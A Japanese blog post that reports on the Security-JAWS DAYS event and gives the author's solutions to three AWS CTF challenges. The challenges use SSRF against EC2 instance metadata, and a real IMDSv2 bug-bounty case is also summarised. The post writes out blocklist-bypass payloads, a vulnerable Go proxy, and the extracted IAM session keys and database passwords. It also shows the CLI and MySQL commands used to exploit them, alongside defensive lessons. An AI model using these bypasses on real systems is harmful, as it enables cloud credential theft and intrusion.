blog of morioka12

morioka12のブログ (Security Blog)

Security-JAWS DAYS 参加記&CTF作問者解説

1. 始めに

こんにちは、morioka12 です。

本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と CTF デイで AWS セキュリティに因んで作成した CTF の問題解説について紹介します。

また、Security-JAWS の運営メンバーより開催の裏側が AWS の公式ブログで公開されているため、よければこちらもご覧ください。

aws.amazon.com


2. Security-JAWS DAYS

Security-JAWS DAYS とは、Security-JAWS が第30回を記念回して開催された2日間のイベントです。

Day1 はカンファレンスデイで、Day2 は CTF デイとなっていました。

僕は、Day1 も Day2 も現地の AWS Japan 目黒オフィスで参加させていただきました。

Day2 の方では、夜の懇親会にも参加させていただき、普段は交流することがなかった方々ともお話しすることができ、大変ありがとうございました。

s-jaws.doorkeeper.jp

s-jaws.doorkeeper.jp

僕は過去に、Security-JAWS #25 と JAWS DAYS 2022 の2つの JAWS イベントで登壇させていただいていました。

  • 2022/05/30: Security-JAWS #25
    • AWS Lambdaにおけるセキュリティリスクと対策
  • 2022/10/08: JAWS DAYS 2022
    • AWSサービスにおけるサーバーレス環境のセキュリティリスク

今回の記念回である30回目に運営側として関われて、とても光栄でした。ありがとうございました! (そしておめでとうございます!!)

また、Security-JAWS の T シャツとパーカーも頂けて、とても着心地の良いパーカーでした。

dev.classmethod.jp


3. CTF 作問

今回の CTF は、AWS サービスに特化した CTF 環境を用意して、AWS セキュリティの問題に取り組んでいただきました。

作問メンバーは、@tigerszk さんと @328__ さんと @a_zara_n さんと僕(@scgajge12)の4名で担当しました。

改めまして、今回一緒に作問メンバーとしてとても楽しく参加できました。ありがとうございました!

僕は主に Amazon EC2 と SSRF (Server Side Request Forgery)をテーマに3問作成しました。

また、今回は Security-JAWS のイベントとして開催されて、参加者は主に AWS を普段使っている開発者などを想定していたため、Burp Suite などのを使わずに解けて、AWS CLI などを用いる方向性の問題を取り入れました。

当日のライブ配信の動画は、以下で公開されています。

youtu.be


4. 問題解説

以下が出題した問題の難易度・タイトル・使用した AWS サービスになります。


4.1 [Easy] Get Provision

問題文

EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ!

解説

本問題は、EC2 上の Web アプリケーションにおいて SSRF 攻撃を行うことで、メタデータサーバーのユーザーデータから機微な情報を取得する問題でした。

問題にアクセスすると、脆弱とあるオンラインプロキシサービスが表示されて、URL の入力欄があります。

テストで https://example.com と入力すると、以下のように指定した先の情報が表示されました。

ブラウザの DevTools でコードを見てみると、以下のように iframe タグで指定した URL が src 属性に指定されて読み込まれていました。

<iframe src="https://example.com" width="600" height="200"></iframe>

試しにメタデータサーバー先の http://169.254.169.254 を指定してみると、以下のようにアクセスできたことが確認できました。

1.0 2007-01-19 2007-03-01 2007-08-29 2007-10-10 2007-12-15 2008-02-01 2008-09-01 2009-04-04 2011-01-01 2011-05-01 2012-01-12 2014-02-25 2014-11-05 2015-10-20 2016-04-19 2016-06-30 2016-09-02 2018-03-28 2018-08-17 2018-09-24 2019-10-01 2020-10-27 2021-01-03 2021-03-23 2021-07-15 2022-07-09 2022-09-24 latest

EC2 のインスタンスメタデータサーバーには、インスタンスに関するデータや設定などが含まれています。

ここからメタデータサーバーのデータにアクセスして情報収集すると、インスタンス起動時に実行されるコマンドが /latest/user-data に格納されていて、中身を得ることができました。

ペイロード

  • http://169.254.169.254/latest/user-data
#!/usr/bin/bash
sudo apt -y update

sudo mkdir /home/ubuntu/.flag

sudo echo "SJAWS{Get_1nst@nce_U2er_dat@!}" >> /home/ubuntu/.flag/secret

その中に Flag を直接書き込んでいるのが確認でき、そのまま Flag を取得することができました。

Flag: SJAWS{Get_1nst@nce_U2er_dat@!}

ポイント

この問題では、SSRF でクレデンシャルを取得するためによく狙う /latest/meta-data/iam/security-credentials ではなく、/latest/user-data のユーザーデータに焦点を当てました。

実際にも機微な情報を Bash スクリプトに含めた状態でインスタンスのユーザーデータに含まれていた事例もあったりするため、今回はこのような形で取り入れました。 (5.2 EC2 IMDSv2 における SSRF の事例で紹介します)

教訓


4.2 [Medium] Get Access Key

問題文

EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!

解説

本問題は、先ほどの問題より少しセキュリティ的に対策された Web アプリケーションに対して、SSRF 攻撃を行うことでメタデータサーバーからクレデンシャルを取得する問題でした。

問題にアクセスすると、先ほどとほぼ同じ見た目をしているオンラインプロキシサービスが表示されて、URL の入力欄があります。

先ほどと同じように http://169.254.169.254 と入力するとフロントエンド側で弾かれました。

よく見ると「URL (指定: https)」という記載があり、 DevTools でコードを見てみると以下のように input タグで正規表現で制限されていました。

<input type="url" size="70" name="url" value="" placeholder="https://example.com/" pattern="https://.+">

メタデータサーバーは http のみのため、これを回避する必要があります。

回避の方法としてはいくつかありますが、簡単なのは DevTools で直接 pattern を削除することで、この制限を回避することが可能です。

しかし、次は以下のようにブラックリストに当てはまり、リクエストがブロックされました。

Blocked: 169.254.169.254

*Block the following hostnames.
・169.254.169.254
・2852039166
・0xA9.0xFE.0xA9.0xFE
・0xA9FEA9FE
・0251.0376.0251.0376
・0251.00376.000251.0000376
・0251.254.169.254

ブラックリストには、主に 169.254.169.254IPv4 が含まれています。

このバックエンド側の入力制限を回避する方法しては、169.254.169.254IPv6 で指定することなどで回避することが可能です。

ちなみに、Cloud における SSRF のペイロードは、以下の GitHub によくまとまってます。

今回ブラックリストを回避するドメインとしては、以下のようなドメインメタデータサーバーにアクセスすることが可能でした。

  • http://[::ffff:a9fe:a9fe]
  • http://[0:0:0:0:0:ffff:a9fe:a9fe]

また、今回は主な IPv4 をブロックするようにしたため、解説では対比するように IPv6 で回避することができると紹介しました。

ですが他のも回避する方法は様々あり、その辺は参加者の方にぜひ色々と試してもらいたいと思い、実際に解説中に色んなペイロードで成功したと Slack でワイワイ流れていたので、僕としても想定通りの反応があって良かったと思いました。

Slack より

短縮URLで回避しました

http://025177524776 で回避しました

8進数でやりました

169.254.169.254.nip.io でやりました

blocklistにあったやつを組み合わせて、8進数と10進数のmixで回避しました!
0251.254.000251.0000376

そこからメタデータサーバーのデータにアクセスして情報収集すると、/latest/meta-data/iam/security-credentials にアクセスすることで EC2 に付与された IAM Role 名を取得し、ec2_role にアクセスすることでクレデンシャルを得ることができました。

ペイロード

  • http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
  • http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
{
    "Code": "Success",
    "LastUpdated": "2023-08-25T12:53:26Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIAQZ2IU22WLKO6ZVWV",
    "SecretAccessKey": "YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss",
    "Token": "IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=",
    "Expiration": "2023-08-25T19:03:41Z"
}

そして、この入手した IAM をローカル PC の ~/.aws/credentials~/.aws/config に設定します。(今回は profile を ec2_role とします)

注意としては、IAM Role をクレデンシャルに設定する場合、aws_access_key_idaws_secret_access_keyaws_session_token の3つを設定する必要性があります。

$ cat ~/.aws/credentials
[ec2_role]
aws_access_key_id = ASIAQZ2IU22WLKO6ZVWV
aws_secret_access_key = YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss
aws_session_token = IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=

また、~/.aws/config のリージョンの設定は、EC2 のリージョンを確認して同一のリージョンに設定しておきます。

$ nslookup gakweb.scjdaysctf2023.net 
Server:     2001:268:fd07:4::1
Address:    2001:268:fd07:4::1#53

Non-authoritative answer:
Name:   gakweb.scjdaysctf2023.net
Address: 35.76.58.200

$ nslookup 35.76.58.200
Server:     2001:268:fd07:4::1
Address:    2001:268:fd07:4::1#53

Non-authoritative answer:
200.58.76.35.in-addr.arpa   name = ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com.

Authoritative answers can be found from:

ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com より リージョンが ap-northeast-1 とわかりました。

そのため、以下のように設定しておきます。

$ cat ~/.aws/config 
[profile ec2_role]
region = ap-northeast-1
output = json

ローカル環境にクレデンシャルを設定できたら、以下のように設定したクレデンシャルが有効に使用できるかを AWS CLI のコマンドで確認します。

$ aws sts get-caller-identity --profile ec2_role
{
    "UserId": "AROAQZ2IU22WD6VC424J3:i-03247babbfc0cc2c7",
    "Account": "055450064556",
    "Arn": "arn:aws:sts::055450064556:assumed-role/ec2_role/i-03247babbfc0cc2c7"
}

クレデンシャルが有効に使えるため、Web アプリケーションにあるコメントより、DynamoDB にアクセスします。

また、実際のペネトレーションテストなどで IAM を入手できた場合は、有効な権限を列挙するのに以下のようなツールを活用したりします。

今回は、難易度調整から使われているだろうサービスをヒントとして記載したため、以下のように AWS CLI を用いて DynamoDB にアクセスします。

$ aws dynamodb list-tables --profile ec2_role   
{
    "TableNames": [
        "private-ctfdb"
    ]
}

次に private-ctfdb のテーブル内の項目をスキャンして中身を表示します。

$ aws dynamodb scan --table-name private-ctfdb --profile ec2_role
{
    "Items": [
        {
            "flag": {
                "S": "SJAWS{Get_2ecr@t_1am_ke9!!}"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}

すると、機微な情報として Flag を得ることができました。

Flag: SJAWS{Get_2ecr@t_1am_ke9!!}

ポイント

この問題では、主に以下の要素を組み込んで、入手したクレデンシャルを悪用して、データベースである DynamoDB から機微な情報を取得するシナリオにしました。

  • 不適切な入力の確認 (CWE-20)
    • フロントエンド側の入力制限の回避
    • バックエンド側の入力制限の回避
  • Server-Side Request Forgery (CWE-918)

教訓

  • Web アプリケーション自体のセキュリティ(脆弱性)対策をする
    • フロントエンド側で入力制限をするだけでなく、適切にバックエンド側で入力制限を行うようにする
    • 外部から任意の URL 先を受け取ってその先にリクエストする場合、可能なら想定するリクエスト先をホワイトリストで管理する (IPv4 でも IPv6 でも)
  • EC2 に付与する IAM Role の権限を必要最低限にする


4.3 [Hard] Secure Request Forwarder

問題文

EC2 上で動くセキュアそうな Web アプリケーションがある。調査して情報収集して侵入してみよう!  ソースコードの配布あり (main.go)

main.go

package main

import (
    "net"
    "net/http"
    "net/url"
    "strings"

    "github.com/gin-gonic/gin"
    "github.com/parnurzeal/gorequest"
)

var blacklist = map[string] bool {
    "0.0.0.0": true,
    "169.254.169.254": true,
}

func main() {
    router := gin.Default()

    router.Use(func(c *gin.Context) {
        xForwardedFor := c.GetHeader("X-Forwarded-For")
        XRealIP := c.GetHeader("X-Real-IP")

        if xForwardedFor != "" {
            c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Blocked: X-Forwarded-For header detected"})
            c.Abort()
            return
        }

        if XRealIP != "" {
            c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Blocked: X-Real-IP header detected"})
            c.Abort()
            return
        }

        c.Next()
    })

    router.LoadHTMLGlob("templates/*")

    router.GET("/", func(c *gin.Context) {
        c.HTML(http.StatusOK, "index.html", nil)
    })

    router.POST("/", func(c *gin.Context) {
        url := c.PostForm("url")

        if url == "" {
            c.HTML(http.StatusOK, "index.html", gin.H{"error": "URL parameter is required."})
            return
        }

        ipAddr, err := getIPAddress(url)
        if err != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{"error": "Failed to resolve IP address."})
            return
        }

        if isBlacklisted(ipAddr) {
            c.HTML(http.StatusOK, "index.html", gin.H{"error": "IP address is blacklisted. (169.254.169.254, 0.0.0.0)"})
            return
        }

        if strings.HasPrefix(ipAddr, "127") {
            c.HTML(http.StatusOK, "index.html", gin.H{"error": "IP address is blacked. (127.0.0.0 - 127.255.255.255)"})
            return
        }

        resp, body, errs := gorequest.New().Get(url).End()

        if errs != nil {
            c.HTML(http.StatusOK, "index.html", gin.H{"error": "The URL you entered is dangerous and not allowed."})
            return
        }

        if resp.StatusCode == 200 {
            c.HTML(http.StatusOK, "index.html", gin.H{"result": body})
        }
    })

    router.GET("/admin", func(c *gin.Context) {
        if c.ClientIP() == "127.0.0.1" {
            paramValue := c.Query("param")
            if paramValue != "" {
                resp, body, errs := gorequest.New().Get(paramValue).End()
                if errs != nil {
                    c.HTML(http.StatusOK, "admin.html", gin.H{"error": "The URL you entered is dangerous and not allowed."})
                    return
                }
                if resp.StatusCode == 200 {
                    c.HTML(http.StatusOK, "admin.html", gin.H{"result": body})
                }
            } else {
                c.HTML(http.StatusOK, "admin.html", gin.H{"result": ""})
            }
        } else {
            c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Only allow access from 127.0.0.1"})
        }
    })

    router.Run(":80")
}

func getIPAddress(url string) (string, error) {
    domain, err := getDomainFromURL(url)
    if err != nil {
        return "", err
    }

    ipAddr, err := net.ResolveIPAddr("ip", domain)
    if err != nil {
        return "", err
    }
    return ipAddr.IP.String(), nil
}

func getDomainFromURL(inputURL string) (string, error) {
    u, err := url.Parse(inputURL)
    if err != nil {
        return "", err
    }
    return u.Hostname(), nil
}

func isBlacklisted(ip string) bool {
    return blacklist[ip]
}

解説

本問題は、EC2 上の Web アプリケーションにおける SSRF 攻撃によって localhost のアクセス制限を回避して、RDS のクレデンシャルを取得し、RDS から認証情報を取得して別ポートで動いているプライベートな Admin Site にログインする問題でした。

問題にアクセスすると、Secure Request Forwarder が表示されて、URL の入力欄があります。

また、/admin ページに Admin Page があるようですが、アクセス制限によってアクセスできませんでした。

Access Denied Only allow access from 127.0.0.1

まずはテストで https://example.com を指定すると、以下のように画面が表示されました。

次に問題「Get Provision」のような単純なペイロードを指定してみると、以下のようにブロックされました。

  • http://169.254.169.254

IP address is blacklisted. (169.254.169.254, 0.0.0.0)

どうやらブラックリスト169.254.169.2540.0.0.0 の入力を制限しているようです。

次に問題「Get Access Key」のようなペイロードを指定してみると、先ほどと同様にブロックされました。

  • http://[::ffff:a9fe:a9fe]

IP address is blacklisted. (169.254.169.254, 0.0.0.0)

色々とメタデータサーバーを示すドメインを指定してみるとブロックされるため、最終的な IP アドレスとして、169.254.169.254 をブロックしてそうと想定できます。

次に /admin ページに SSRF 攻撃によってアクセスできるかを試します。

以下のようなローカルを示す IP アドレスを指定すると、以下のようにブロックされました。

  • http://localhost/admin
  • http://127.0.0.1/admin
  • http://127.0.0.2/admin

IP address is blacked. (127.0.0.0 - 127.255.255.255)

先ほど紹介した GitHub を参考にして http://localhost/admin にアクセスできるように回避方法を試します。

すると、先ほどの 169.254.169.254 と同様に最終的な IP アドレスを判断して、127 から始まる IP アドレスをブロックしてそうを想定できます。

しかし、以下の IP アドレスの場合、どちらの入力制限も回避することが可能です。

ペイロード

  • Bypass localhost with [::]
    • http://[::]/admin

これにより、/admin ページの Admin Page に SSRF 攻撃によってアクセスすることができました。

アクセスしてみると、以下のコメントがあり、動作テストで指定できることがわかりました。

「/admin?param=[URL]」で動作テスト可能

試しに以下のペイロードをそのまま指定してみると、http://localhost/ から http://localhost/admin を通してメタデータサーバーにアクセスできていることが確認できます。

ペイロード

  • http://[::]/admin?param=http://169.254.169.254

ここから問題「Get Provision」のようにメタデータサーバーから情報収集すると、ユーザデータの /latest/user-data から RDS のクレデンシャルを取得することができました。

ペイロード

  • http://[::]/admin?param=http://169.254.169.254/latest/user-data
#!/usr/bin/bash
sudo apt -y update

sudo mkdir /home/ubuntu/.secret

sudo echo "database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com" >> /home/ubuntu/.secret/db_host
sudo echo "exporter" >> /home/ubuntu/.secret/db_user
sudo echo "TF6zZaECv7f5" >> /home/ubuntu/.secret/db_pass

これらの情報より、RDS にログインすることが試せます。

  • Host: database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com
  • User: exporter
  • Pass: TF6zZaECv7f5

MySQL のコマンドを使用する場合は、ローカル PC で行うか、 AWS CloudShell で行うことも可能です。

以下のように MySQL で RDS のインスタンスにログインを試してみると、ログインすることができました。

$ mysql -h database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com -P 3306 -u exporter -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 8.0.33 Source distribution

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

今回の場合、 RDS の設定が以下のようになっていたため、入手した認証情報を元に RDS のインスタンスにログインすることが可能でした。

  • パブリックアクセス可能:あり
  • データベース認証:パスワード認証

このようにペネトレーションテストのような、入手した認証情報を悪用してさらにクラウド環境にある AWS リソースに対して有効な権限の範囲内で深ぼって調査する要素を取り入れました。

ここからデータベースの中を調べてみます。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| Users              |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.02 sec)

mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| UserInfo        |
+-----------------+
1 row in set (0.01 sec)

mysql> select * from UserInfo;
+----+--------------------------+--------------+
| id | email                    | password     |
+----+--------------------------+--------------+
|  1 | exporter@awsctfssrf.com  | CQbpUKC5vX7k |
|  2 | adminsite@localhost:8444 | dummy        |
+----+--------------------------+--------------+
2 rows in set (0.01 sec)

RDS 内のデータベースを調査することで、以下のような情報を得ることができました。

  • 何かのユーザー情報
    • email: exporter@awsctfssrf.com
    • pass: CQbpUKC5vX7k
  • ローカル環境とポート番号
    • localhost:8444

試しに以下にアクセスすると、ポートが空いていてログイン画面にアクセスすることができました。

  • http://srfweb.scjdaysctf2023.net:8444/

そこに先ほどのユーザー情報を使ってログインしてみます。

すると、最終的にログインでき、 Flag を得ることができました。

Flag: SJAWS{N0t_&ecure_g@t_1am!!!}

ポイント

この問題では、SSRF によってローカルホストのアクセス制限を回避して、入手した RDS の認証情報を悪用して MySQL にログインして機微な情報を取得して悪用するシナリオにしました。

他の問題では、IAM を入手して悪用する系の問題が多くあったため、今回の問題は別口の方向性を取り入れました。

今回は難易度調整として、データベースにlocalhost:8444 という文字列で別ポートがありそうなヒント(誘導)なことを記載しました。

しかし、実際はこのようなデータベースに別ポートを示すようなデータはあまり入っていないかと思います。

実際に SSRF が可能な Web サイトがあった場合は、Blind SSRF による Local Port Scan で判断することが可能です。

ローカル環境に対して開いているポート番号を localhost:<Port> で列挙して、レスポンス結果やレスポンスの返ってくる時間の差によって判断します。

cyberweapons.medium.com

教訓

  • Web アプリケーション自体のセキュリティ(脆弱性)対策をする
    • フロントエンド側で入力制限をするだけでなく、適切にバックエンド側で入力制限を行うようにする
    • 外部から任意の URL 先を受け取ってその先にリクエストする場合、可能なら想定するリクエスト先をホワイトリストで管理する
  • インスタンス起動時に実行される「ユーザデータ」には、機微な情報の出力を含めないようにする
  • RDS などの機微な情報を保持するインスタンスは、公開状態にしない


5. その他

5.1 EC2 における脆弱性事例

イベントの際に別途実際にあった EC2 の SSRF 攻撃についても紹介させていただきました。

それらを今回、以下のブログに簡単に記載しました。こちらもぜひご覧ください。

scgajge12.hatenablog.com


5.2 EC2 IMDSv2 における SSRF の事例

IMDSv2 (Instance Metadata Service version 2)は、AWS の EC2 インスタンス上で稼働するメタデータサービスのバージョン2であり、セキュリティの向上を図ったものです。(2020年6月30日に発表されたものです)

従来の IMDSv1 よりもセキュリティが強化されており、SSRF 攻撃から保護するための対策を提供しています。

今回の CTF では、IMDSv2 を利用した問題は出題しませんでしたが、以下に IMDSv2 における実際にあった SSRF 攻撃の事例を少し紹介します。

IMDSv2 が有効な場合における SSRF

EC2 で IMDSv2 が有効な場合でも SSRF 攻撃が行える可能性があります。

以下は、実際にバグバウンティであった事例になります。 (公開:2022年4月28日)

まず、Atlassian Confluence インスタンスが動く以下のようなエンドポイントで SSRF が行える箇所があります。

POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1
Host: confluence.dev.████████.com
 ...

次に内部ポートに対して SSRF を行うと以下のように nginx のデフォルトページが得られます。

  • 127.0.0.1:80

また、127.0.0.1:5000 に対して SSRF を行うと、以下のように Confluence インスタンスが動いていることが確認できます。

ここで 169.254.169.254メタデータサーバーに対して SSRF を行うと、401 - unauthorized で IMDSv2 が有効に機能されています。

IMDSv2 にアクセスするには、以下の点が必要です。

今回の場合、Atlassian Confluence の内部で動いている API に任意のヘッダー付きでリクエストすることが可能だったため、IMDSv2 のリクエストする際の条件でアクセスすることが可能でした。

Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using gadgets.io.makeRequest() to the remote server - it appears this endpoint takes in various other parameters such as: httpmethod, postData and headers to name a few.

まずは、トークンを取得するために SSRF でhttp://169.254.169.254/latest/api/token にアクセスして得ます。

これで IMDSv2 にアクセスするために必要なトークンを取得することができました。

これを活用して http://169.254.169.254/latest/meta-data にアクセスします。

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: confluence.dev.████████.com
 ...

url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==

しかし、これでは 401 でアクセスできず、原因としてトークンが Base64 されていて == があるためです。

これを回避する方法として、以下のような「二重 URL エンコード」によって可能となります。

これで IMDSv2 からメタデータにアクセスすることができました。

さらにメタデータサーバーを調査すると、/latest/user-data に以下の認証情報がハードコードされていました。

また、/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance から EC2 に付与されたクレデンシャルも取得できました。

これらの情報が IMDSv2 が有効な状態でも、実際に SSRF によって内部で動く API を調査したり上手く悪用することでクレデンシャルを取得することが可能でした。

このように IMDSv2 が有効だからといって完璧に SSRF を防げるわけではないため(可能性として0にはならない)、根本的な対策として Web アプリケーション側のセキュリティ対策を徹底することをお勧めします。

詳しくは、以下をご覧ください。

www.yassineaboukir.com

https://jira.atlassian.com/browse/JRASERVER-69793

https://jira.atlassian.com/browse/CONFSERVER-55981

https://jira.atlassian.com/browse/JRASERVER-71204


5.3 他の作問メンバーの解説

他の作問者の問題では、S3 ・ Lambda・AWS WAFなどの AWS サービスを取り入れた問題があります。こちらもぜひご覧ください。

speakerdeck.com

docs.google.com

公開され次第、追加します。


5.4 参加者の解説記事

解説記事を書いていただき、ありがとうございました!

ken5scal.notion.site

rikoteki.hatenablog.com

dev.classmethod.jp

zenn.dev

nosukeru-nauts.hatenablog.com

zenn.dev

zenn.dev

他にも見つけ次第、追加させていただきます。


6. 終わりに

本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と AWS セキュリティに因んで作成した CTF の問題解説を紹介しました。

また、過去にいくつか Cloud に関する CTF のまとめ記事を書いているので、よければこちらもご覧ください。

scgajge12.hatenablog.com

scgajge12.hatenablog.com

ここまでお読みいただきありがとうございました。

また、運営の方、作問者の方、参加して解いていただけた方、ありがとうございました!